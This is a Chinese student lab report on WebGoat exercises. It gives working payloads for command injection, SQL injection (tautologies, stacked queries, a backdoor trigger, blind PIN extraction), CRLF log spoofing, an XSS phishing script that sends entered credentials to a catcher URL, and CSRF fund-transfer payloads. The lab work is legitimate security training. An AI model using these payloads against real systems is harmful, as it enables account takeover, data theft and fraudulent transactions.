1.SQL注入攻击原理,如何防御?
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。参考网址
8080端口
,所以开启前先用netstat -tupln | grep 8080
查看端口是否被占用kill 进程号
终止占用8080端口
的进程。java -jar webgoat-container-7.0.1-war-exec.jar
localhost:8080/WebGoat
用默认用户名密码登录即可。概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
操作方法:
inspect Element
审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加"& netstat -an & ipconfig"
,最后点代码其他位置保存修改。view
,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!概念:注入数字型数据(如:永真式)达到注入的效果。
操作方法:
inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值
中添加or 1=1
概念:通过在日志文件中插入脚本实现欺骗。
操作方法:
kzq%0d%0aLogin Succeeded for username: admin
admin <script>alert(document.cookie)</script>
作为用户名输入,可以看到弹窗的cookie信息。操作方法:
inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度
限制改为18
。Neville(admit)
登录,输入密码hello‘ or ‘1‘ = ‘1
得到所有人员列表,攻击成功!操作方法:
Larry
,密码 larry
点击login
登录,点击ViewProfile
查看用户信息右键点击页面,选择inspect Element
审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。
用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc
,使得老板的信息作为查询到的第一条数据。
概念:通过注入字符串绕过认证
操作方法:正常情况下只能查询到用户名对应的信用卡号码
Smith‘ or 1=1--
(Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)操作方法:
101; update employee set salary=18000
执行两个语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘kzq@hackme.com‘WHERE userid = NEW.userid
BEFORE/AFTER
参数指定了触发执行的时间,在事件之前或是之后FOR EACH ROW
表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据操作方法:
SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 5000 );
如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364操作方法:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘M‘ );
取得 pin 字段数值的第一个字母,并判断其是否比字母“M”小
SUBSTRING(STRING,START,LENGTH)
Jill
概念:跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
操作方法:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
XSS
-Phishing with XSS
搜索上面代码,可以看到页面中增加了一个表单<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
操作方法:
<script>alert("20165336 attack succeed!");</script>
,Title
任意输入。提交后可发现刚创建的帖子5336
。5336
,然后会弹出一个对话框,证明XSS攻击成功。操作方法:
Enter your three digit access code:
中输入<script>alert("I am 20165336");</script>
点击Purchase
,成功显示警告框,内容为我们script脚本指定的内容。概念:跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性.
操作方法:
XSS
-Cross Site Request Forgery(CSRF)
Parameters
中的src
和menu
值,我的分别为714
和900
Message
框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=714&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交(其中语句中的&transferFunds=5000
,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)Message List
中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。XSS
-CSRF Prompt By-Pass
Parameters
中的src
和menu
值,我的分别为724
和900
,并输入任意的Title,message框中输入代码<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
Submit
生成以Title命名的链接,点击链接,攻击成功通过对Webgoat的使用,主要学习了SQL注入攻击、XSS攻击和CSRF攻击。对于这三个方面的攻击,分为很多小模块的学习。在整个学习过程中,发现我们这次的实验攻击很多部分都是关于构造语句、更改语句进行的攻击,我觉得这个部分虽然现在实现很简单,但是通过学习的不断深入,如何能够将攻击高层次化,更加完整,是我们学习的目标。
2018-2019-2 网络对抗技术 20165336 Exp 9 Web安全基础
原文:https://www.cnblogs.com/20165336kzq/p/10925822.html